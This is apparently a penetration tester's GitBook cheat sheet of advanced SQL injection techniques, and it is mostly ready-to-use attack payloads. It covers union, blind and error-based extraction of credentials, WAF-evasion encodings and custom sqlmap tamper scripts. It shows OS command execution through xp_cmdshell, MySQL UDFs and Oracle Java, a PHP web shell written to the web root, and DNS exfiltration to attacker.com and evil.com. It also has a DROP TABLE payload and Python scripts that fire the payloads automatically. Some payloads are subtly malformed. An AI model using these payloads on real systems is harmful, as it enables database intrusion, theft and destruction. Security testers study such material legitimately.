

Advanced SQL Injection Techniques

A nav1n0x.gitbook.io/advanced-sql-injection-techniques



#

Here are some Advanced SQL Injection Techniques I commonly use. Happy hunting! 👍

Note: These advanced techniques should be used responsibly and only in legal and authorized testing scenarios. They go beyond the basics and exploit specific features and configurations of databases. Additionally, I may have unintentionally included openly available techniques from various sources.

WARNING: If you don't know what you are doing, please refrain from using these techniques. Improper use may harm the database.

The techniques showed in this repository is intended only for educational purposes and for testing in authorized environments. <https://twitter.com/nav1n0x> take no responsibility for the misuse of the techniques listed below. Use it at your own risk. Do not attack the target you don't have permission to engage with.



Advanced SQL Injection Techniques

#

Advanced Payloads and Techniques

Error-Based SQL Injection

Advanced Error Payloads:

```
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()),  
0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)  
-- --
```

Union-Based Injection

- **Determining the Number of Columns:**

```
' UNION SELECT NULL, NULL, NULL, NULL --
```

- **Extracting Data:**

```
' UNION SELECT username, password, NULL, NULL FROM users --
```

Blind SQL Injection

- **Boolean-Based Blind:**

```
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2)  
END) --
```

- **Time-Based Blind:**

```
' AND IF(1=1, SLEEP(5), 0) --
```

Second-Order SQL Injection

Injection in Profile Information: Modify data stored in one place to affect queries executed elsewhere.

Advanced Union-Based SQL Injection

1. Union-Based Error Handling

Generate detailed error messages by crafting complex payloads:

```
' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) --
```

2. Union with Hex Encoding

Encode parts of your query to evade WAFs:

```
' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() --
```

3. Multi-Query Union Injection

Leverage multiple queries to extract more data:

```
' UNION SELECT 1, database(), (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), user() --
```

4. Union-Based Cross Database Extraction

Combine data from different databases (when supported):

```
' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() --
```

#

Advanced Boolean-Based SQL Injection

1. Time-Based Boolean Injection with Conditional Responses

Use time delays to infer data based on conditional responses:

```
' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) --
```

2. Nested Boolean Injections

Nest conditions to extract specific data:

```
' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) --
```

3. Error-Based Boolean Injection

Force errors conditionally to reveal information:

```
' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE
table_schema=database())>5, (SELECT table_name FROM
information_schema.tables), 1) --
```

4. Using Bitwise Operations

Use bitwise operations for more obfuscation and complexity:

```
' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1,
SLEEP(5), 0) --
```

#

Combining Techniques

Combine multiple advanced techniques for robust and harder-to-detect payloads.

Example: Union with Time-Based Injection

Create a payload that uses both union and time-based injections:

```
' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(),
4 --
```

Example: Nested Union and Boolean Injection

Combine nested boolean conditions with union-based data extraction:

```
' UNION SELECT 1, IF((SELECT COUNT(*) FROM information_schema.tables
WHERE table_schema=database())>5, (SELECT table_name FROM
information_schema.tables LIMIT 1), 1), 3, 4 --
```

#

Automating with Custom Scripts

Automate these advanced techniques using custom scripts to efficiently test and extract data.

Example: Python Script for Advanced Union Injection

```

import requests

url = "http://example.com/vulnerable.php"
payloads = [
    # Advanced Union-Based Injections
    "' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) -- ",
    "' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() -- ",
    "' UNION SELECT 1, database(), (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), user() -- ",
    "' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() -- ",
    # Advanced Boolean-Based Injections
    "' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) -- ",
    "' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) -- ",
    "' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables), 1) -- ",
    "' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) -- ",
    # Combined Techniques
    "' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 -- ",
    "' UNION SELECT 1, IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables LIMIT 1), 1), 3, 4 -- ",
]

for payload in payloads:
    response = requests.get(url, params={"id": payload})
    print(f"Payload: {payload}")
    print(f"Response: {response.text}\n")

```

#

Advanced Enumeration

Database Fingerprinting

- **MySQL:**

```
' OR 1=1 AND @@version --
```

- **PostgreSQL:**

```
' OR 1=1 AND version() --
```

- **MSSQL:**

```
' OR 1=1 AND @@version --
```

Column Enumeration

- **Determine the Number of Columns:**

```
' ORDER BY 1 --  
' ORDER BY 2 --
```

- **Extract Column Names:**

```
' UNION SELECT column_name FROM information_schema.columns WHERE  
table_name='users' --
```

Advanced Data Extraction

Combine Multiple Rows into a Single Output:

```
' UNION SELECT GROUP_CONCAT(username, 0x3a, password) FROM users --
```

#

3. Bypassing Filters and WAFs

Obfuscation

Using Comments:

```
' UNION/**/SELECT/**/NULL,NULL,NULL --
```

Case Manipulation

Changing the Case of SQL Keywords:

```
' uNioN SeLeCt NULL, NULL --
```

Inline Comments

Inserting Inline Comments:

```
' UNION/**/SELECT/**/NULL,NULL --
```

Whitespace Manipulation

Using Different Types of Whitespace Characters:

```
' UNION%0D%0ASELECT%0D%0A NULL, NULL --
```

#

4. Exploiting Advanced Scenarios

Stored Procedures

Execute Arbitrary SQL:

```
'; EXEC xp_cmdshell('whoami') --
```

Out-of-Band SQL Injection

Exfiltrate Data via DNS or HTTP Requests:

```
'; EXEC master..xp_dirtree '\\evil.com\payload' --
```

Leveraging Privileges

Reading or Writing Files:

```
' UNION SELECT LOAD_FILE('/etc/passwd') --
```

#

5. Automation and Custom Scripts

Custom SQLMap Commands

- **Bypass WAFs or Target Specific Injection Points:**

```
sqlmap -u "http://example.com/vulnerable.php?id=1" --  
tamper=space2comment --level=5 --risk=3
```

- **Some Tamper Scripts I use**

tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

#

6. Creating Your Own Tamper Script

Creating your own tamper script for SQLMap involves writing a Python script that modifies the payloads used by SQLMap to evade web application firewalls (WAFs) or other filtering mechanisms. Here is a step-by-step guide to create a custom tamper script.

#

Step 1: Understand the Basics of a Tamper Script

A tamper script modifies the payload sent to the server. The script should contain a function called **tamper** that takes a payload string as an argument and returns the modified payload string.

#

Step 2: Structure of a Tamper Script

Here is the basic structure of a tamper script:

```
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    # Modify the payload here
    modified_payload = payload
    return modified_payload
```

- `__priority__`: Defines the order in which tamper scripts are applied.
- `dependencies()`: Checks for any required dependencies.
- `tamper(payload)`: The main function that modifies the payload.

```
#
```

Step 3: Implement a Simple Tamper Script

Let's create a simple tamper script that replaces spaces with comments to evade basic filters.

Example: Space-to-Comment Tamper Script

```
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Replaces space character (' ') with a random inline comment ('/**/')
    """
    if payload:
        payload = payload.replace(" ", "/**/")
    return payload
```

```
#
```

Step 4: More Advanced Example

Now, let's create a more advanced tamper script that randomly URL-encodes characters in the payload.

Example: Random URL Encoding Tamper Script

```
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Randomly URL encodes characters in the payload
    """
    if payload:
        encoded_payload = ""
        for char in payload:
            if random.randint(0, 1):
                encoded_payload += "%%%02x" % ord(char)
            else:
                encoded_payload += char
        return encoded_payload
    return payload

#
```

Step 5: Save and Use the Tamper Script

1. **Save the Script:** Save your tamper script in the `tamper` directory of your SQLMap installation. For example, save it as `random_urlencode.py`.
2. **Use the Script:** Use the `--tamper` option in SQLMap to apply your custom tamper script.

```
sqlmap -u "http://example.com/vulnerable.php?id=1" --  
tamper=random_urlencode
```

#

Step 6: Testing and Debugging

- **Test:** Ensure the script works as intended by running SQLMap with different payloads.
- **Debug:** Print debug information if necessary. You can add print statements within the `tamper` function to debug your script.

Debugging Example

```
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Randomly URL encodes characters in the payload
    """
    if payload:
        encoded_payload = ""
        for char in payload:
            if random.randint(0, 1):
                encoded_payload += "%%%02x" % ord(char)
            else:
                encoded_payload += char
        print(f"Original: {payload}")
        print(f"Modified: {encoded_payload}")
        return encoded_payload
    return payload

#
```

7. Some More Techniques

Stacked Queries

Executing Multiple Statements:

```
'; DROP TABLE users; SELECT * FROM admin --
```

SQLi with Web Application Firewalls

Using Obfuscated Payloads:

```
' UNION SELECT CHAR(117,115,101,114,110,97,109,101),
CHAR(112,97,115,115,119,111,114,100) --
```

Leveraging SQL Functions

Using SQL Functions for Data Exfiltration:

```
' UNION SELECT version(), current_database() --
```

DNS Exfiltration

Using DNS Requests for Data Exfiltration:

```
'; SELECT load_file('/etc/passwd') INTO OUTFILE
'\\\\attacker.com\\share' --
```

Leveraging JSON Functions

Extracting Data Using JSON Functions:

```
' UNION SELECT json_extract(column_name, '$.key') FROM table_name --
```

#

8. Advanced Automation Techniques

SQLMap Customization

Using Custom Tamper Scripts:

```
sqlmap -u "http://example.com/vulnerable.php?id=1" --  
tamper=~/location/ofthescript/charencode.py --level=5 --risk=3
```

#

WAF Bypass Techniques for SQL Injection

#

1. Using Encoding and Obfuscation

URL Encoding

Encode parts of the payload to bypass basic keyword detection.

```
%27%20UNION%20SELECT%20NULL,NULL,NULL --
```

Double URL Encoding

Double encode the payload to evade detection mechanisms.

```
%2527%2520UNION%2520SELECT%2520NULL,NULL,NULL --
```

Hex Encoding

Use hexadecimal encoding for the payload.

```
' UNION SELECT 0x61646D696E, 0x70617373776F7264 --
```

#

2. Case Manipulation and Comments

Mixed Case

Change the case of SQL keywords.

```
' uNioN SeLeCt NULL, NULL --
```

Inline Comments

Insert comments within SQL keywords to obfuscate the payload.

```
' UNION/**/SELECT/**/NULL,NULL --
```

#

3. Whitespace and Special Characters

Using Different Whitespace Characters

Replace spaces with other whitespace characters like tabs or newlines.

```
' UNION%0D%0ASELECT%0D%0A NULL,NULL --
```

Concatenation with Special Characters

Use special characters and concatenation to build the payload dynamically.

```
' UNION SELECT CHAR(117)||CHAR(115)||CHAR(101)||CHAR(114),  
CHAR(112)||CHAR(97)||CHAR(115)||CHAR(115) --
```

#

4. SQL Function and Command Obfuscation

String Concatenation

Break strings into smaller parts and concatenate them.

```
' UNION SELECT ''||'min', 'pa'||'ss' --
```

Using SQL Functions

Leverage SQL functions to manipulate the payload.

```
' UNION SELECT VERSION(), DATABASE() --
```

#

5. Time-Based and Boolean-Based Payloads

Time-Based Blind SQL Injection

Use time delays to infer information from the response.

```
' AND IF(1=1, SLEEP(5), 0) --
```

Boolean-Based Blind SQL Injection

Use conditions that alter the response based on true or false conditions.

```
' AND IF(1=1, 'A', 'B')='A' --
```

#

6. Advanced Encoding Techniques

Base64 Encoding

Encode payloads using Base64.

```
' UNION SELECT FROM_BASE64('c2VsZWN0IHZlcuNpb24oKQ==') --
```

Custom Encoding Scripts

Create custom scripts to encode and decode payloads in different formats.

#

7. Chaining Techniques

Combining Multiple Bypass Techniques

Use a combination of techniques to create a more complex and harder-to-detect payload.

```
%27%20UNION/**/SELECT/**/CHAR(117)%7C%7CCHAR(115)%7C%7CCHAR(101)%7C%7CCHAR(114),%20CHAR(112)%7C%7CCHAR(97)%7C%7CCHAR(115)%7C%7CCHAR(115)%20--%0A
```

#

8. Leveraging Lesser-Known SQL Features

Using JSON Functions

Leverage JSON functions to manipulate and extract data.

```
' UNION SELECT json_extract(column_name, '$.key') FROM table_name -
```

Using XML Functions

Utilize XML functions to create more complex payloads.

```
' UNION SELECT extractvalue(1, 'version()') --
```

#

Part#1 - Techniques to Force Errors from Databases for SQL Injection

Forcing errors in databases can help reveal valuable information about the underlying SQL queries, database structure, and sometimes even the data itself. Here are some advanced techniques to force errors from various databases:

#

1. Syntax Errors

Classic Syntax Error

Introduce a deliberate syntax error to elicit an error message.

```
' OR 1=1; --
```

Unclosed Quotes

Leave a quote unclosed to generate an error.

```
' OR 'a'='a
```

#

2. Type Conversion Errors

Invalid Type Casting

Cast a string to an integer to cause a type conversion error.

```
' UNION SELECT CAST('abc' AS SIGNED) --
```

#

3. Function-Based Errors

Division by Zero

Force a division by zero error.

```
' UNION SELECT 1/0 --
```

Invalid Function Usage

Use a function incorrectly to trigger an error.

```
' UNION SELECT EXP('abc') --
```

#

4. Subquery Errors

Invalid Subquery

Use a subquery in a way that causes an error.

```
' UNION SELECT (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2) AS temp) --
```

#

5. Database-Specific Errors

MySQL Errors

Use invalid queries to trigger MySQL-specific errors.

```
' UNION SELECT GTID_SUBSET('abc', 'def') --
```

PostgreSQL Errors

Use invalid operations to cause PostgreSQL errors.

```
' UNION SELECT TO_NUMBER('abc', '999') --
```

MSSQL Errors

Use MSSQL-specific functions incorrectly to trigger errors.

```
' UNION SELECT CONVERT(INT, 'abc') --
```

#

6. Information Schema Queries

Invalid Table Name

Query the information schema with an invalid table name.

```
' UNION SELECT table_name FROM information_schema.tables WHERE  
table_name = 'non_existent_table' --
```

#

7. Blind SQL Injection Errors

Deliberate False Condition

Use a false condition to force an error indirectly.

```
' AND 1=(SELECT COUNT(*) FROM information_schema.tables WHERE  
table_schema='non_existent_database') --
```

#

8. Advanced Error Techniques

Recursive Queries

Use recursive queries to force errors.

```
' UNION SELECT 1 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION  
SELECT 4) AS temp WHERE temp=1 --
```

Invalid Hexadecimal Values

Use invalid hexadecimal values to trigger errors.

```
' UNION SELECT 0xZZ --
```

#

9. Combining Techniques

Chained Error Forcing

Combine multiple error-forcing techniques for more robust results.

```
' UNION SELECT CONVERT(INT, 'abc') UNION SELECT 1/0 UNION SELECT  
TO_NUMBER('abc', '999') --
```

#

Part#2 - Techniques to Force Errors from Databases for SQL Injection

Below are some advanced and rare SQL injection techniques for MSSQL, MySQL, and Oracle. These techniques go beyond the basic ones and exploit specific features and configurations of the databases.

#

MSSQL

1. OLE Automation Procedures

```
DECLARE @Object INT;  
EXEC sp_OACreate 'WScript.Shell', @Object OUTPUT;  
EXEC sp_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami >  
C:\output.txt';
```

This uses OLE Automation procedures to execute system commands.

2. XP_CMD Shell with Privilege Escalation

```
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXEC sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;  
EXEC xp_cmdshell 'whoami';
```

This enables `xp_cmdshell` to execute system commands if it's not already enabled.

3. Linked Servers

```
EXEC sp_addlinkedserver 'attacker_server';
EXEC sp_addlinkedsrvlogin 'attacker_server', 'false', NULL,
'username', 'password';
EXEC ('xp_cmdshell 'net user'') AT attacker_server;
```

This technique uses linked servers to run commands on a different server.

#

MySQL

1. UDF (User Defined Functions) for Remote Command Execution

```
CREATE TABLE foo(line BLOB);
INSERT INTO foo VALUES (LOAD_FILE('/usr/lib/lib_mysqludf_sys.so'));
SELECT * FROM foo INTO DUMPFILE
'/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME
'lib_mysqludf_sys.so';
SELECT sys_exec('id > /tmp/out; chown mysql:mysql /tmp/out');
```

This technique involves creating a UDF to execute system commands.

2. DNS Exfiltration

```
SELECT LOAD_FILE(CONCAT('\\\\\\\\', (SELECT table_name FROM
information_schema.tables LIMIT 0,1), '.attacker.com\\\\a'));
```

This exfiltrates data through DNS requests to an attacker-controlled domain.

3. Binary Log Injections

```
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE
'/var/www/html/shell.php';
```

This exploits the binary log feature to write a web shell.

#

Oracle

1. Java Procedures for Command Execution

```
EXEC dbms_java.grant_permission( 'SCOTT',
'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' );
EXEC dbms_java.grant_permission( 'SCOTT',
'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '' );
EXEC dbms_java.grant_permission( 'SCOTT',
'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '' );
```

```
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS
import java.io.*;
public class cmd {
    public static String run(String cmd) {
        try {
            StringBuffer output = new StringBuffer();
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            String line = "";
            while ((line = reader.readLine())!= null) {
                output.append(line + "\n");
            }
            return output.toString();
        } catch (Exception e) {
            return e.toString();
        }
    }
};
/
```

```
CREATE OR REPLACE FUNCTION run_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'cmd.run(java.lang.String) return java.lang.String';
/
```

```
SELECT run_cmd('id') FROM dual;
```

This uses Java stored procedures to execute system commands.

2. UTL_FILE Package for File Access

```
DECLARE
    l_file UTL_FILE.FILE_TYPE;
    l_text VARCHAR2(32767);
BEGIN
    l_file := UTL_FILE.FOPEN('DIRECTORY_NAME', 'output.txt', 'W');
    UTL_FILE.PUT_LINE(l_file, 'Data from UTL_FILE');
    UTL_FILE.FCLOSE(l_file);
END;
```

This technique uses the **UTL_FILE** package to write files to the server.

3. DBMS_SCHEDULER for Job Execution

```
BEGIN
  DBMS_SCHEDULER.create_job(
    job_name => 'job1',
    job_type => 'PLSQL_BLOCK',
    job_action => 'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT'';
END;',
    start_date => SYSTIMESTAMP,
    repeat_interval => NULL,
    end_date => NULL,
    enabled => TRUE
  );
END;
```

This uses **DBMS_SCHEDULER** to execute jobs that can change database permissions.

#

Part#3 - Advanced Methods to Forcefully Generate Errors on Various DBMS

Here are some advanced techniques that specific to some DBMS to force errors and gather valuable information. By using these advanced methods to force errors on different DBMS, you can gather detailed error messages that reveal valuable information about the database, helping you identify and exploit SQL injection vulnerabilities more effectively.

#

MySQL

Use of Invalid Functions

MySQL provides many functions that, when used incorrectly, can generate errors.

```
' AND EXP (~(SELECT * FROM (SELECT 1) t)) --
```

Invalid Hexadecimal Conversion

Using invalid hexadecimal values can cause errors.

```
' AND 0xG1 --
```

Subqueries in SELECT Clause

Use subqueries that return multiple rows in a single value context.

```
' AND (SELECT * FROM (SELECT 1,2) t) = 1 --
```

#

PostgreSQL

Invalid Regular Expression

PostgreSQL's regex functions can be used incorrectly to cause errors.

```
' AND 'a' ~ 'b[' --
```

Invalid JSON Operations

Use JSON functions with invalid operations.

```
' AND jsonb_path_query_first('{\"a\":1}', '$.a') --
```

Recursive CTE

Use recursive Common Table Expressions (CTE) incorrectly.

```
' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t)
SELECT * FROM t --
```

#

MSSQL

Invalid XML Queries

MSSQL's XML functions can generate errors when used with invalid XML.

```
'; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>';
SELECT @xml.value('(/root/c)[1]', 'INT') --
```

Invalid Data Conversion

Conversion functions can cause errors when converting incompatible data types.

```
'; SELECT CAST('text' AS INT) --
```

SQL Injection with Error Functions

Use built-in error functions to generate errors.

```
'; RAISERROR('Error generated', 16, 1) --
```

#

Oracle

Invalid Data Manipulation

Oracle's specific functions and data manipulation can cause errors.

```
' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual
--
```

Invalid XMLType Usage

Use XMLType improperly to cause errors.

```
' UNION SELECT XMLType('<invalid><xml>') FROM dual --
```

Using SYS.DBMS_ASSERT

Leverage Oracle's assertion package to force errors.

```
' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual --
```

#

SQLite

Invalid String Functions

SQLite's string functions can generate errors when used improperly.

```
' UNION SELECT SUBSTR('text', -1, 1) --
```

Invalid Mathematical Operations

Use mathematical functions with invalid inputs.

```
' UNION SELECT POW('text', 2) --
```

Invalid Date Functions

Use date functions with incorrect parameters.

```
' UNION SELECT DATE('invalid_date') --
```

#

Python Script to Force Errors

Automating Error Injection

```

import requests

url = "http://example.com/vulnerable.php"
payloads = [
    # MySQL
    "' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- ",
    "' AND 0xG1 -- ",
    "' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- ",
    # PostgreSQL
    "' AND 'a' ~ 'b[' -- ",
    "' AND jsonb_path_query_first('{a':1}', '$.a') -- ",
    "' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT
* FROM t -- ",
    # MSSQL
    "; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT
@xml.value('/root/c')[1]', 'INT') -- ",
    "; SELECT CAST('text' AS INT) -- ",
    "; RAISERROR('Error generated', 16, 1) -- ",
    # Oracle
    "' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual
-- ",
    "' UNION SELECT XMLType('<invalid><xml>') FROM dual -- ",
    "' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual -- ",
    # SQLite
    "' UNION SELECT SUBSTR('text', -1, 1) -- ",
    "' UNION SELECT POW('text', 2) -- ",
    "' UNION SELECT DATE('invalid_date') -- ",
]

for payload in payloads:
    response = requests.get(url, params={"id": payload})
    print(f"Payload: {payload}")
    print(f"Response: {response.text}\n")

```

#

Extracting Database Name and Hostname Using Forced Errors

These advanced error-based SQL injection techniques, you can extract crucial information such as the database name and hostname, which can further aid in your exploitation efforts.

#

MySQL

Extracting Database Name

Use error-based injection to extract the database name.

```

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()),
0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)
--

```

Extracting Hostname

Use error-based injection to extract the hostname.

```
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@hostname),
0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)
--
```

#

PostgreSQL

Extracting Database Name

Use error-based injection to extract the current database name.

```
' AND 1=CAST((SELECT current_database()) AS INT) --
```

Extracting Hostname

PostgreSQL does not directly provide a function for hostname, but you can use other metadata queries or built-in extensions like `inet_server_addr`.

```
' AND 1=CAST((SELECT inet_server_addr()) AS INT) --
```

#

MSSQL

Extracting Database Name

Use error-based injection to extract the current database name.

```
'; SELECT 1 WHERE 1=CAST(DB_NAME() AS INT) --
```

Extracting Hostname

Use error-based injection to extract the server hostname.

```
'; SELECT 1 WHERE 1=CAST(@@servername AS INT) --
```

#

Oracle

Extracting Database Name

Use error-based injection to extract the current database name.

```
' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora_database_name
FROM dual) AS INT) --
```

Extracting Hostname

Use error-based injection to extract the hostname.

```
' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT
SYS_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) --
```

#

SQLite

Extracting Database Name

SQLite uses a single database per file, but you can force errors to reveal database-related information.

```
' AND 1=CAST((SELECT name FROM sqlite_master WHERE type='table'
LIMIT 1) AS INT) --
```

Extracting Hostname

SQLite does not inherently have a hostname since it's a file-based database. However, you can infer file paths which might give clues.

```
' AND 1=CAST((SELECT file FROM pragma_database_list LIMIT 1) AS INT)
--
```

#

Python Script to Automate the Process

```

import requests

url = "http://example.com/vulnerable.php"
payloads = [
    # MySQL
    "' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()),
0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
",
    "' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@hostname),
0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
",
    # PostgreSQL
    "' AND 1=CAST((SELECT current_database()) AS INT) -- ",
    "' AND 1=CAST((SELECT inet_server_addr()) AS INT) -- ",
    # MSSQL
    "; SELECT 1 WHERE 1=CAST(DB_NAME() AS INT) -- ",
    "; SELECT 1 WHERE 1=CAST(@@servername AS INT) -- ",
    # Oracle
    "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora_database_name
FROM dual) AS INT) -- ",
    "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT
SYS_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) -- ",
    # SQLite
    "' AND 1=CAST((SELECT name FROM sqlite_master WHERE type='table'
LIMIT 1) AS INT) -- ",
    "' AND 1=CAST((SELECT file FROM pragma_database_list LIMIT 1) AS INT)
-- ",
]

for payload in payloads:
    response = requests.get(url, params={"id": payload})
    print(f"Payload: {payload}")
    print(f"Response: {response.text}\n")

```

Last updated 1 hour ago